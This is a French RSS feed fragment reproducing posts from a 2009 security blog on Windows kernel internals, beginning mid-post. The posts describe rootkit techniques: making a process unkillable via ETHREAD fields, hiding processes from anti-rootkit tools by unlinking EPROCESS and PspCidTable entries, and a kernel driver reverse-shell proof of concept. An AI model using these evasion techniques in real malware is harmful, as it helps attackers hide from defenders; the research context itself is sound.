d'obtenir unprocessus assez difficile à tuer mais un processus actif, unetechnique bien utile vous pouvez me croire dans le cadre d'unquelconque malwarePour moi l'implentation plus ou moins idéal reste de modifier le champKernelApcDisable à l'offset 0x0d4 de la structure ETHREADConcernant de plus amples explications concernant ces APCs kernel jevous suggère une petite lecture de l'analyse d'ivanConcernant l'activité que je peux avoir sur mon blog ces temps-ci,autrement dit, une activité assez limitée dirons nous, celle-ci estdue à mon engagement dans divers projets qui verront leursconcrétisations dans quelques temps avant la rentré j'esepère waitand see Sinan en attendant je vous conseil quelques liens :- #carib0u@ircworldnetnet déjà :p- http://joe-is-a-rocknroll-starblogspotcom/ - une personne quej'apprécie beaucoup, des écrits clair toussa, continue :- http://md5sh4kafr/ - un service de très grande qualité codé parun très bon ami concernant la recherche de plaintext MD5 ; celui-cipossède en plus d'opérer à des recherches sur de multiples sites dumême genre une base de donnée plutôt bien garnis et qui ne cesse des'aggrandir - http://wwwrootkitcom/ - Faut peut-être pas l'oublier :Les PoCs :- SudamiKillMec- SudamiKillMe Idéal cVoilà pour les nouvelles, si vous trouvez mieux concernant cettetechnique je suis tout à fait preneur sur ce bonne soiréeIMAGE</description><link>http://www.secuobs.com/revue/news/104774.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104774.shtml</guid></item>
<item><title>Create ur own worldz with virtualization</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Entres deux projets j'ai enfin trouvé le temps pour vous concocter unpetit articleCelui-ci portera sur les machines virtuelles, souvent abrégées "VM"Virtual Machine ; c'est une technologie aujourd'hui en pleineexpansion, on en trouve dans presque tous les domaines :Pour le Reverse Engineering, elles servent de sandbox et permettent demener de nombreux tests "à l'abris"Pour l’analyse des menaces informatiques, des VMs sont mises en ligneet font office d’honeypotPour l'hébergement web, quelques machines physiques hébergentplusieurs VMs, spécifique à chaque serviceEn bref on en voit un peu partout :L’utilisation qui m'a intéressée ici est celle des protectionslogicielles, ou encore des crackmesNon pas que je sois fan de ce genre de binaire, créés pour fairetourner en bourrique la dite personne, mais ne voyant pas trop commentcette technologie pouvait être utilisée dans ce contexte, j'ai tentél'expérience :I Un exemple presque inévitable : la machine virtuelle java abrégéeJVMBien évidement, je ne pouvais éviter l'exemple de la célèbre JVM Eneffet elle illustre un gros avantage de la virtualisation, lapossibilité de créer un pseudo-code réalisant les mêmes actionsquelque soit la plateforme où il est lancéC'est bien évidemment le coeur du fonctionnement de java ; le langagejava est "traduit" en bytecode java qui lui est directement interprétépar la machine virtuelleIl est alors juste nécessaire de développer un interpréteur pourchaque plateforme, celui-ci interprétera ce bytecode java de la mêmefaçonCependant comme vous pouviez vous en doutez, cette technologie possèdebien évidemment des limitesPremièrement, cette technologie est finalement une "sur-couche" ; sonexécution sera alors plus lente du fait que ce bytecode serainterprété par un autre programmeEnsuite, il ne faut pas perdre de vue que l’implémentation d'unemachine virtuelle complète est un travail harassant ; il suffit deconsulter les spécifications du bytecode java pour constater l'ampleurdu projetJe ne l'ai pas précisé mais la VM doit bien évidemment avoir àdisposition tout un environnement où sera interprété notre langage :des registres, une pile etcII Design de notre codeComme je l'ai précisé au départ ce qui m'intéressait était decomprendre le fonctionnement et la mise en place d'une protectionlogicielle par le biais d'une machine virtuelleCelle-ci sera on ne peux plus simple ; en effet j'ai choisis de ne pasmettre à disposition en environnement digne de ce nom ; l'envie et leniveau me manque :Le code interprété aura donc à sa disposition une pile et desregistres classiques ; le minimum pour pouvoir développer une"""""protection logicielle"""""J'ai aussi décidé de créer un petit jeu d’instruction très basique, leminimum vital ; Il suffit en tout cas à comprendre que ledéveloppement d’une VM est une tâche longue et fastidieuse…Pour éviter de coder avec les "bytecode" que nous allons créer, j'aipensé à mettre en place un système de "traduction"L'idée est à partir d'une syntaxe asm x86 de convertir celle-ci ennotre pseudo-code ; cette espèce de traducteur est codé en perlcelui-ci d'ailleurs est très sale et non optimisé mais fonctionnel:Par exemple si je donne à mon script perl :mov eax,ebxIl va bien gentiment me donnez l'équivalent en pseudo-code autrementdit:"x14x00x01"Parlons maintenant du squelette de notre interpréteurUne variable va donc nous servir de registre EIP, celle-ci pointerasur nos opcodes, ensuite il nous reste juste à les parser et lesinterpréter ; en gros nous avons le schéma suivant :while*eipswitch *eipcase INSTRU1:sizeOfInstru = 3case INSTRU2:sizeOfInstru = 5eip += sizeOfInstru;Une fois réalisé ce petit schéma tout devrait s'éclaircir pour vous ;ça commence à coder dans la tête normalement :Encore une fois pour me faciliter la tâche, les instructions que j'aiimplenté sont : MOV, INC, PUSH, POP, CMP, EXITCes instructions vous ferront évidemment pensées à de l'asm bien sûr,seulement certaines ont été implentées pour pouvoir monter ma petiteprotection servant d'illustration :Concernant mon traducteur, j'ai choisis le language perl ; un languageque j'apprecie beaucoupSeulement comme dit précedemment, le code se résoud à de piètresconditions une pour chaque type d'instruction, et ajoutez à cela unepetite dose de regex Pour ceux qui voudrait s'essayer au reverse de cette protection encarton vous êtes prévenue :p ne regardez pas les fichiers « tapz »celui-ci est à passé au « traducteur » pour avoir la suite d'opcode,vous sortez votre debugguer préféré et vous vous attaquez au binaire «ExempleProtectionLogicielexe »Afin que vous ayez tous sous la main, je vois est uppé une petitearchive contenant binaires/sources ; et pour ceux qui souhaitentobserver les sources en lignes, elles sont disponibles en htmlBon j'esepère que cela pourra apprendre quelques choses à certains, cepetit post m'a pas mal divertit, lorsque qu'on code une « mini-vm » çareste plutôt sympathique :Sinan je vous conseil vivement le dernière article de mon keupinIvanlef0u ; il illustre un reverse relatif au planificateur de taches,celui-ci aboutira à une technique permettant de dumper les accès aveclesquelles les taches ont été créerAlors pour les fichiers consultablent en ligne :-Le traducteur-La dll-Le binaire qui implente la protection en cartonLe petite packetage maintenant :-PacketageJe tenais aussi à remercier Deimos pour m'avoir donné l'idée detraiter ce sujet  Deimos a dit : phear ze vm :Bonne après-midi à vous ;PS : Concernant la vm, INVOKE est une instruction pour laquelle j'aiun peu triché, en effet au lieu de déposer les arguments sur la pilevirtualisé, je dépose cela sur la pile du binaire qui lancel'interprétation des opcodesSeulement parce qu'implémenter un réel call était largement faisablemais ce qui n'etait pas faisable c'est que faire pointer eip dans uneapi impliquerait d'etre capable d'interpréter le code asm de celle-ci :"Stay in ur world or get pwnd in mine"IMAGE</description><link>http://www.secuobs.com/revue/news/104773.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104773.shtml</guid></item>
<item><title>How to pwn lilxam's toolz :</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Un titre un peu provacateur, mais rien de méchant, juste un petit jeuentre lilxam et moi ; autrement dit mon article n'est pas là pourdénigrer son travail ou autre bien au contraireLes avertissements étant fait, rentrons dans le vif du sujet  :Il y a quelques temps, j'ai entamé l'écriture d'un petit postconcernant une technique de DKOM aboutissant à caché un processusplus ou moins bien justementLe noyau possède un chainage de structures de type EPROCESS par uneliste doublement chainé à l'offset 0x088, il était donc possibled'unlinker une structure en particulierLe processus se retrouvait alors protégé de l'énumération par letaskmgrexe ou encore ProcessExplorerC'est à présent que lilxam entre en jeuPeu de temps après mon petit Proof of Concept, il met en place unetechnique userland permettant d'énumérer les processus malgré lamodification des structures en mémoireCet technique en question, très ingénieuse au passage, permettant derécupérer le nom des processus en bruteforçant les PIDs de ceux-ciSeulement, tout cela m'interpelle, comment était-il possible deretrouver ce processus, alors qu'il n'était plus présent dans lesstructures EPROCESS La réponse ne devrait pas être trop complexe à rechercher ; en effetun commentaire de Ivanlef0u nous donne de précieuses informations : ilaborde la présence d'une mystérieuse table prénommé PspCidTableréférençant des informations concernant les processus à savoir unetranslation entres PIDs/TIDs et objet EPROCESS/ETHREADNous voilà sur la bonne route, sortons IDA afin d'analyser les apisutilisées dans le code de lilxam ; le réel problème étant de savoircomment le système se débrouille pour trouver le processus enquestion, désassemblons un peu OpenProcess exporté par kernel32dllNous suivons en premier lieu les appels successif à savoir:-OpenProcess--NtOpenProcess---ZwOpenProcessNous savons bien que le système afin de permettre l'appel d'un syscallva passer par la SSDT pour retrouver l'adresse de la fonction associéà son numéro de syscall 0x7a pour NtOpenProcessBalayons alors ce code à la recherche de la translation PID/TID enobjet EPROCESS/ETHREAD :PAGE:004A9C92 cmp ebp+var_1A, 0PAGE:004A9C96 jnz loc_52ADDFPAGE:004A9C9C cmp ebp+var_19, 0PAGE:004A9CA0 jz loc_50F76DPAGE:004A9CA6 mov ebp+var_30, esiPAGE:004A9CA9 cmp ebp+var_28, esiPAGE:004A9CAC jnz loc_4D88A0PAGE:004A9CB2 lea eax, ebp+var_24PAGE:004A9CB5 push eaxPAGE:004A9CB6 push ebp+var_2CPAGE:004A9CB9 call _PsLookupProcessByProcessId@8L'appel à PsLookupProcessByProcessId est plus que révélateur, son nomen dit assez large sur son rôle et de plus cette fonction estrenseigné par la msdnDésassemblons cette dernière fonction, notre réponse y est surementcaché :PAGE:004A9B25 mov edi, ediPAGE:004A9B27 push ebpPAGE:004A9B28 mov ebp, espPAGE:004A9B2A push ebxPAGE:004A9B2B push esiPAGE:004A9B2C mov eax, large fs:124hPAGE:004A9B32 push ebp+arg_0PAGE:004A9B35 mov esi, eaxPAGE:004A9B37 dec dword ptr esi+0D4hPAGE:004A9B3D push _PspCidTablePAGE:004A9B43 call _ExMapHandleToPointer@8PAGE:004A9B48 mov ebx, eaxPAGE:004A9B4A test ebx, ebx Mais que voyons nous ; notre"PspCidTable"Arrivé ici nous comprenons alors que les apis qu'utilise notre trèscher lilxam ; en particulier OpenProcess se base donc sur cettefameuse table pour retrouver notre processus à partir de son PIDSans plus attendre je vous recommande encore un article de mon noblejedi ; celui-ci traite de long en large les tables de typeHANDLE_TABLE au prototype suivant :lkd dt nt_HANDLE_TABLE+0x000 TableCode : Uint4B+0x004 QuotaProcess : Ptr32 _EPROCESS+0x008 UniqueProcessId : Ptr32 Void+0x00c HandleTableLock : 4 _EX_PUSH_LOCK+0x01c HandleTableList : _LIST_ENTRY+0x024 HandleContentionEvent : _EX_PUSH_LOCK+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO+0x02c ExtraInfoPages : Int4B+0x030 FirstFree : Uint4B+0x034 LastFree : Uint4B+0x038 NextHandleNeedingPool : Uint4B+0x03c HandleCount : Int4B+0x040 Flags : Uint4B+0x040 StrictFIFO : Pos 0, 1 Bit Ce type de table est d'ailleurs presque omni-présent dans lesprocessus ; les handles que gèrent un processus sont stockés dans unetable de ce genreCelle-ci est accessible à l'offset 0x0c4 :lkd dt nt_EPROCESS+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE A présent, parlons PspCidTableEn glanant sur le net, on s'aperçoit assez rapidement qu'il y aquelques années la modificationde cet table était une technique à la pointe dirais-jeCependant, je me suis vite rendu compte que mes parents ont entreprisma construction trop tard :p ; en effet mon implémentation cechargeait d'enlever l'objet EPROCESS du processus à caché, maismalgrès cela RkUnhooker, anti-rootkit digne de ce nom, trouve toujoursle moyen de retrouver l'objet EPROCESS, et donc de permettre le killde celui-ci :/Un peu frustré, je commence à m'interroger sur la technique queRkUnhooker pourrait déployer afin de retrouver ce maudit processusEn analysant la définition de la structure ETHREAD on peut remarquerqu'il existe un lien avec la structure EPROCESS associé, à l'offset0x220:lkd dt nt_ETHREAD+0x220 ThreadsProcess : Ptr32 _EPROCESS ; on ne peut que se demandersi RkUnhooker ce focalise sur les threads, et remonte au processus parle biais de divers fonctionsMe voilà repartit dans cette table, afin d'enlever les objets ETHREADs après l'implémentation, à ma grande surprise le processus devientinactif ; zombieC'est donc à ce moment là que les questions jaillissent à travers monesprit :- Comment RkUnhooker remet la main sur mon processus - Quels techniques utilise t-il pour cela - Existe t-il un autre endroit où une liste des processus lancées surle système est disponible Voilà concernant la PspCidTable, ma fonction permet alors de supprimerl'entrée concernant le processus à caché dans la table ; l'outil delilxam est donc finalement inefficace sur ce coup là :pComme je le racontais plus haut, cette implémentation est trop maigrepour permettre de leurrer RkUnhookerC'est donc ainsi que commence mes recherches sur les techniquesexistantes permettant la protection d'un processus de l'énumérationAprès quelques recherches sur la toile, mon regard s'attarde sur cettetechnique ; en effet le processus vital csrssexe contiendrait uneliste des processus lancée sur le systèmeL'auteur de la technique explique très bien les faits et son analyseest détaillée ; en quelques mots, le processus tiens à jour une listedes processus lancés sur le système sous forme de liste chainéeIl estalors aisé pour nous de pratiquer un unlink Pour un projet personnel, j'ai décidé de porter cette unlink en ring0; celle-ci devient alors tout de suite bien plus intéréssante car onest obligé de faire appel à pleins de petites choses pour arrivé à nosfin : du parcours de PE, de l'attachement à l'user-space d'unprocessus et j'en passeLes liens :-PspCidTable PoC-UnlinkListEntryInCsrssSinan si vous ne savez pas quoi faire, je vous conseil d'aller faireun tour sur le site de la FATCette petite team aux membres bien sympathiques publient des codes etpapers vraiment géniaux  je pense au dernier que j'ai lu ; autrementdit le paper concernant win32leon par kaze  enfin bref àbookmarker pour ceux qui ne connaissent pas :Et si vous en voulez encore un peu, je vous conseil de lire lesderniers articles de deux de mes amis :-Celui de rAsM ; monsieur met en place une technique pouvant servir debase à un potentiel keylogger kernel a condition de patcher les BSODs:-Celui de Ivanlef0u ; mon s1ths préféré propose un petit articleconcernant le subsystem csrss en abordant notament les processusconsolesPour clore ce petit post, un dernier lien ; celui-ci vient tout droitdes dragons asiatiques Sudami reverseur de talent continus de nousfaire réver en nous proposant de nouvelles techniques de DKOMs ;celle-ci aborde le hook d'une fonction stockée dans la structure liéeaux Objects Types Initializers  qui m'avait mis en échec ici Bien evidement, raffolant de ce genre de technique je m'empresse demettre en place un petit driver capable de placer ce hook mais c'estdu moins chez moi XP SP2 FR un échec la routine est apparementbien appelé par le system mais en aucun cas elle empèche la fermeturedu processusPeut-être que sudami explique les limites de sa technique dans sonarticle, ou que celle-ci est valable avec des pré-requis Enfin bonsi quelqu'un en sait plus qu'il me contacte :Voilà pour ce petit article, en espérant que je vous aurrez apprisquelques choses,bonne journée à vousPS : Bonne rentrée à ceux qui ne l'ont toujours pas faiteIMAGE</description><link>http://www.secuobs.com/revue/news/104772.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104772.shtml</guid></item>
<item><title>L'union fait la force</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Me revoilà pour un nouveau post, un peu tardif me direz vous, mais bonpas toujours facile avec les cours mais cette fois-ci c'est un peuspécialEn effet, lilxam et moi même vous proposons aujourd'hui une archiveliant deux papers écrit en "collaboration"Un gros travail d'entraide à été mis en place sur cette série depapers, une expérience à renouveler je pense car très efficaceTout cela pour dire que l'on sera surement amené à renouvelé ce typed'opération, hein lilxam :Entrons dans le vif du sujetL'archive est composé d'un premier paper signé lilxam traitant desdébordements de tampons appliqué et exploité sur php 5xL'approche est vraiment intéréssante car mon chère collègue à duemener de nombreuses recherches sur l'organisation, l'appel desfonctions au seins de phpexeUne fois cette étape de franchis, il entamme la recherche de fonctionsfaillibles en codant un fuzzer like maison qui m'a foi à porté cesfruits :Non loin d'une dizaine de fonction faillible sur la version 526,l'exploitation rentre donc maintenant en jeuxLa technique utilisé est une réécriture de SEH Structured ExceptionHandling, afin de rediriger le flot d'éxecution de php sur un vilainshellcode :Voilà en gros le fil rouge du paper, le tout est bien sûr agrementé deschéma/screenshots/codes et d'explications :Avec le second paper on change complétement de sujet ; je présente enpremier temps les TLS CallBacks, puis l'HotPatching, et enfin une àdeux petites applications liant les deux "outils" vu precedemmentRiende bien méchant en tout cas, un contenus très soft :J'ai mis à disposition dans l'archive l'éboche, la tentative derédaction d'une classe cpp et oui, je m'y mets permettantl'implémentation d'une tls callbackla classe est vraiment trèssimple et peu fiable je pense cependant elle m'aura permis d'allongerdu code pour me faire la main avec ce languageJe vous laisse en compagnie de nos écris :-L'Union Fait la ForcezipEn espérant que ça plaira bonne après midi :IMAGE</description><link>http://www.secuobs.com/revue/news/104771.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104771.shtml</guid></item>
<item><title>Feel the power with TDI </title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - N'avez vous jamais pensé à avoir un support réseau pour votre merveilleuxrootkit Avoir la main sur cette bête même à distance Je vais aujourd'hui réaliser votre rêve :, plus sérieusement ce posttraitera de l'une des interfaces proposées par microsoft pour nouspermettre de faire du réseau ; et celle-ci porte le doux nom de TDIacronyme de "Transport Driver Interface"Je cite microsoft techNet :"The Transport Driver Interface TDI is a common interface fordrivers such as the Windows 2000 redirector and server to use tocommunicate with the various network transport protocols This allowsservices to remain independent of transport protocols"Il faut déjà savoir qu'il existe plusieurs manières d'accéder auxressources réseaux du kerneland; c'est différent moyens sont implémentés ou pas selon la version dewindows :* Avant les systèmes vista, nous avions à disposition TDI ainsi queNDIS acronyme de Network Driver Interface Specification* Sous vista nous avons à disposition TDI, NDIS et les KernelsSockets* Et puis il est prévu de troquer TDI contre les Kernels Socketspour les autres systèmes qui suivront vista ; autrement dit onferra du reseau avec NDIS ou/et les Kernels SocketsJ'ai donc choisis l'utilisation de TDI pour tout d'abord avoir uneespèce de rétro-compatibilitée avec "l'avant vista" ; de plusl'utilisation de TDI est assez simple car les opérations à réalisersuivent un même schéma que je detaillerais plus basL'utilisation de TDI est d'ailleurs très bien documentée ; non pas parla masse des écrits sur le sujet mais par la qualité des quelquespapers trouvésJe veux bien sûr faire références à deux écrit :* Subverting The Windows Kernel , chapitre "Kernel TCP/IP Supportfor Your Rootkit Using TDI"* Audi-K - Nouvelles aventures en Kernel Land, paper parut dans lezine des blackclowns ; c'est un SUPERBE article écrit parTolwin pour couronner le tout c'est du françaisCette articleest donc juste priceless, merci à luiCes deux écrits permettent largement de se coder un petit Proof OfConcept quant à l'utilisation de TDIJ'ai donc choisis de mettre en place une connexion à la manière d'unclassique Reverse Shell ; autrement dit un serveur hébergé chez leh4ck3rz, le driver s'y connecte et propose des fonctions exécutéeschez la victime tout cela sous forme d'un shell avec un jolie prompttoussa :DSeulement ce qui m'a intéressé dans ce code c'est l'implémentation dela partie reseau, vous comprendrez donc pourquoi je n'ai codé aucunefonction entrant dans le cadre du reverse shell c'est un travail onne peux plus fastidieux ; de plus ce n'etait pas le but  Au passagesi quelques d'entre vous sortent leurs jolies IDEs avec comme objectifde rendre mon bout de code utilisableben qu'ils me previennent :DEntrons dans le vif du sujet ; chers passagers je vous prie de bienvouloir boucler vos ceintures, le voyage va bientôt commencer Comme je le disais un peu plus haut, TDI s'avère assez simple,peut-être un poil velus au départ mais au fur et à mesure que l'oncode on se rend vite compte que les principales opérations sontredondantesIl faut aussi savoir que jouer avec TDI, c'est accepter de dealer avecle driver tcpipsysSi on fouille dans les tools signé OSR, on peut tomber sur DeviceTree; un outil assez pratique pour observer l'organisation des drivers,devices et autres :Vous vous doutez bien que nous allons nous occuper du driver tcp,seulement lui On remarque aussi au passage que le device est en mode IO_DIRECT ;autrement dit le buffer d'entré et de sortie sera le même ; aucungaspillage quant à la manipulation/recopie de ceux ci etcLe code va donc se résoudre à de multiples échanges entres le driver,et le notre par le biais d'IRPEn effet, notre code se résout à , préparer une requête l'IRP,l'envoyer au driver, bloquer pendant que le driver traite notrerequête, et puis agir en fonction du code de retourTout cela est simplifié mais dans l'idée c'est exactement ce qu'ilfaut faire ; microsoft nous propose alors un lot de macro tel que :* TdiBuildSend* TdiBuildReceive* TdiBuildConnect* TdiBuildInternalDeviceControlIrpEntrons un peu plus dans les détails maintenantLes deux premières étapes consistent en la création de deux objets, un"Connection Object" ainsi qu'un "Transport Object" l'un servant àstocker les informations relatives a l'host et au port leTransportObject donc ; et un second objet gérant la connection leConnection ObjetCes objets seront créés grâce à la fonction ZwCreateFile ; pour menerà bien la construction de ces objets ont doit passer des paramètres àla fonction qui va gérer la construction des objets contenu dans ledriver bien surCeux-ci seront passé par encapsulation dans une structure du typeFILE_FULL_EA_INFORMATION ; dans l'avant dernier argument deZwCreateFile "EaBuffer"Voici la définition de la structure :typedef struct _FILE_FULL_EA_INFORMATION{ULONG  NextEntryOffset;UCHAR  Flags;UCHAR  EaNameLength;USHORT  EaValueLength;CHAR  EaName1;} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;Je m'explique quant à cette histoire d'encapsulation ; le but est depouvoir passé plusieurs structures au driver1 On alloue la mémoire total, c'est l'addition des tailles desstructures à faire passé en argument plus la structure de typeFILE_FULL_EA_INFORMATION2 On remplis les premiers champs de la structure : NextEntryOffset,Flags etc3 On écrit à la suite du dernier champs EaBuffer le contenus de nosstructuresVoilà le principe, la structure de type FILE_FULL_EA_INFORMATIONenglobe les autres, c'est le principeJe noterais EA la structure qui sert d'encapsulationPour le Connection Object nous avons le schéma suivant :* EA - CONNECTION_CONTEXTPour le Transport Object nous avons :* EA - TA_IP_ADDRESSJe ne sais pas si j'ai réussi à comprendre, mais j'ai fais de monmieux, c'est pas facile :Bon voilà c'est beau, c'est magique, de la véritable poudre deperlinpinpin mais notre voyage est loin d'être terminéIl faut ensuite associer ces deux handlesà partir de cette étape lechemin restera toujours le même :1 Allocation de l'irp, grâce à la macroTdiBuildInternalDeviceControlIrp2 Construction de l'irp par le biais de la macro associée àl'action désirée TdiBuildSend, TdiBuildReceive,TdiBuildAssociateAddress etc3 On transmet l'irp au driver en utilisant la fonction IoCallDriver4 On bloque tant que le traitement n'est pas terminé avec lafonction KeWaitForSingleObjectC'est en fait le schéma dont je vous parlais plus haut, c'est celui-cique vous allez répéter pour chacune de vos actions ; vous comprendrezalors pourquoi je ne détaillerais pas le reste :Concernant mon petit code, il va se connecter sur une ip sur un portdonné, il envoit alors un prompt à la manière d'un shell toutsimplementJ'ai d'ailleurs tout mis en place pour faciliter l'implémentation defonctions si il y a des courageux comme je le disais :Un petit screenshot:Sinan dans le genre priceless, mon s1th vient de nous dégotter unOllyDbg customisé on ne peux plus cool :Il est blindé de scripts/plugins, et possède un gestionnaire deraccourcis pour placer tous ces tools préférés :On voit aussi qu'il possède une barre de commande immunityDbg like :; enfin bon à avoir d'urgence Ensuite je voulais vous parlez d'un ami, Squallsurf et son nouveauoutil HarPE une espèce de plateforme de manipulation/visualisationdu PE ; projet prometteur :N'hésitez donc pas à lui rendre visite, ou encore lui rapporter bugset/ou amélioration quant à son joujou :Les codes de mon Proof Of Concept :EsrevercEn espérant avoir intéressé quelques uns :, cyaPS : petit coucou à securfrog o/ ; merci à baboon IMAGE</description><link>http://www.secuobs.com/revue/news/104770.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104770.shtml</guid></item>
<item><title>#hzv 1 released </title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - #Hzv 1 est enfin out Après plusieurs mois d'attente, le voici enfin sortitJ'y ai publié mon plus gros article concernant l'exploitation desstacks overflows sous windowsJe reprends un des articles publié sur mon blog, en le peaufinant, enajoutant des illustrations des jolies phrases :D  De tous celadécoule bien sur un contenu bien plus richeUn article qui m'a pris énormément de temps à écrire enfin bref j'y aimis du coeur :Maintenant je vous laisse en compagnie du premier opus : Hzv#1Je remercie donc tous le staff pour leur travail même si dans lesommaire se sont plantés dans mon pseudo :pJe posterais un petit feedback des articles une fois que je les auraislu :Bonne soirée à tous Après demande de certains, je mets à disposition l'archive de monpaper contenant, les illustrations, et les codes ;En espérant qu'ils vous plaisent :-Stack OverflowrarJe vous parlais d'un petit feedback quant aux écrits ; le voicicelui-ci à été rédigé conjointement avec sh4ka :* 1ère article Le codage des données par celelibiUn article clair, concernant ce qui se cache vraiment derrière toutesnos variables ; car c'est bien jolie de savoir coder en C mais savoircomment est codé notre information peu s'avérer très utile voirfondamentaleIl explique très bien l'abstraction par rapport au codage de cesdonnées que nous fournissent les langages de programmation avec lestypes de variables par exempleAutrement dit qu'un long c'est pareil qu'un int ou qu'un DWORD : c'est4 octets d'informations Je le recommande donc à ceux qui ne s'y sont jamais intéressé* 2ème article Exploitation avancée de débordement de tampon parcamille bertrandCette article plutôt technique va nous parler de débordement de tampon; mais aussi de shellcodesEn effet, j'ai l'impression que l'auteur se centre plus surl'élaboration de shellcode générique / polymorphisme que surl'exploitation avancée de la failleIl nous explique clairement les étapes essentiels à l'élaboration d'unshellcode capable de se débrouiller seul dit générique dans unenvironnement windowsLes codes sont clair ; très commentés ; bien illustrésil nouspropose même un petit exercice d'application en fin d'articleConclusion l'article est très didactique, un bon papier* 3ème article Redirection de flux en C sous windows par CocowebmanEncore un article pour windows décidément :, il illustre un type decommunication inter processus : les pipes prononcé à l'anglaiseIl redirige les sorties standard dans le tuyau dans lequel il va lirepar exemple ; très utile dans un bind/reverse shell par exempleL'article est encore une fois agréable à lire ; des illustrations ;c'est mimi en tout cas* 4ème article La toile à nue face au renard par FaSm et SnAkEUn article décevant, le contenu est plutôt très classique et doncn'apprenant pas grand chose au lecteur* 5ème article Nintendo DS Le wifi Ultra Portable par VirtualabsAlors cette article c'est vraiment mon coup de cœur ; moi quiattendait une espèce de compte rendu de sa conférence à la nuit duhack et bien me voilà gâterUne superbe aventure en fait ; il nous explique un peu soncheminement, ces objectifs, ce qu'il a réussit à faire impressionnant:o enfin j'en dévoile pas plus lisez le  merci virtualabs* 6ème article Attaque d'un serveur, Prise d'empreinte par FlouxArticle de Floux présentant l'étape préliminaire à un audit,et non desmoindres, la prise d'empreinte L'article survole peut être un peutrop les principes classique de ce domaine, sans trop entrer dans lesdétailsWhois,traceroute,dns,transfert de zone,scan de port,Unarticle plus poussé sur le sujet aurait été appréciéPS:"La prise d’empreinte ou pentest pour les intimes ;"Prise d'empreinte=Fingerprinting pas pentesting* 7ème article Démystification d'exploits visant des applicationsweb par ApophisDerrière ce titre se cache l'explication d'apophis, concernant unevulnérabilité touchant punbb au travers de la récupération du "cookie_seed"; afin de calculer le mot de passe aléatoire ainsi que le liend'activation généré par punbb lors de la réinitialisation d'un comptesuite à l'utilisation de l'option "mot de passe oublié"Par l'étudede cette faille et la programmation de l'exploit, l'auteur nous montreles vulnérabilités touchant au web sous une autre forme que lesclassiques injections sql,xss,include et cie* 8ème article Les réseaux de robots, action et prevention parValéry RASPLUSIl s'agit d'un article survolant le monde des botnets, expliquantleurs principes, leurs méthodes, leurs buts et proposant aussi despistes pour s'en protéger L'auteur sans rentrer dans la partietechnique, permet d'expliquer de façon simple et donc de sensibiliserl'utilisateur sur les dangers que peuvent apporter les botnets* 9ème article La stéganographie de interger binary numbers parThierry CrettolUn article qui je dois dire me laisse perplexe, l'auteur utilise unvocabulaire « spéciale » Je cite: « les 54 premiers caractères sontréservés pour le cartouche de l'image bmp », ici cartouche signifieheader Ensuite d'après ce que j'ai pu comprendre, il s'agit en faitde steganographie utilisant la technique des LSB dans les images bmpMalgré que ce sujet soit intéressant, ici le manque de clarté del'explication et surtout d'exemple par la mise en place du procédé parla programmation, gâche un peu l'articleVoilà, conclusion le mag reste intéressant malgré 2/3 bémols comme laqualités des images etcBonne lecture, et espérons que ces bémols seront corrigés dans leprochain IMAGE</description><link>http://www.secuobs.com/revue/news/104769.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104769.shtml</guid></item>
<item><title>H-CL vous souhaite un joyeux noël </title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Un revenant  Et oui me revoilà back from h3ll après quelques semaines d'inactivitésJe vais profiter de ce petit article, pour vous racontez mespéripéties Mais celles-ci ne se déroulent non pas dans les contréesrocheuses avoisinant mon chère kernel, mais belle et bien In Real LifeIl y a quelques semaines de cela, mon laptop a subit une terribleperte ; un petit texte pour vous contez ces aventuresMa maudite machine plutôt jeune et jusqu'à présent assez performanteme laissa tomber : un beau matin en l'allumant, j'entends alors devieux bips systèmesaprès quelques recherches de faite il s'avère quec'est ma motherboard :Me voilà face au gouffre, le ciel prêt à s'écraser sur ma tête :obliger de renvoyer la bestiole au savJusqu'à présent rien de bien graveL'unique problème c'est que bien sur je n'ai aucun backupAUCUN Mes neurones en ébullition se rassemblent dans l'espoir de trouver unesolution me permettant de sauvegarder mon disque durMais rien  Sije tente toutes bidouilles avec le disque dur interne du laptop, lagarantie sauteAprès un petit coup de fil avec le réparateur, il me propose desauvegarder un dossier"Quel dossier je vous sauvegarde monsieur ""Humm, le dossier C:kernel s'il vous plait ""heuil n'y a pas de dossier kernel""le dossier k3rn3l "Encore un technicien ignorant le 1337 sp34k1ngMais aujourd'hui je reviens, avec des merci hzv 3 laptops toutpropre, ready, avec backup : merci ivan:pC'est donc en ce soir de nowel, que je vous propose le début d'unprojet qui me tiens plutôt à cœur car à mon avis plus qu'utileL'idée n'a rien de transcendante, c'est en fait une espèce delibrairieUn header contenant quelques fonctions useful quand on aime bientrifouiller son kernelL'originalité du projet, je pense, est le fait que tout est réunisdans UN unique fichier : personnellement je trouve que ça simplifiegrandement les choses quant à l'utilisationConcernant l'avancement du projet ; c'est encore au stade embryonnaireà peine 5 fonctions pour le momentDisons que, ça intéressera surement quelques personnes : d'ailleurs sicertains on des reports de bugs, ou autres n'hésitez pas à me laisserun commentaire ; j'aimerais bien faire un truc propre et pourquoi pasutilisé Tant que j'y pense, si vous avez des idées de fonctions à implémentern'hésitez pas encore une fois à laisser un petit mot ; merci :Je vais donc bien sur continuer à poster régulièrement maintenant quetout est rentré dans l'ordre En attendant je vous laisse avec mon h en espérant que ça servira àquelques mangeur de chips fan de black-métal ; ça serait un bon début:-H-CLhEn tous cas, joyeux noël à vous, passer de bonnes fêtes :IMAGE</description><link>http://www.secuobs.com/revue/news/104768.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104768.shtml</guid></item>
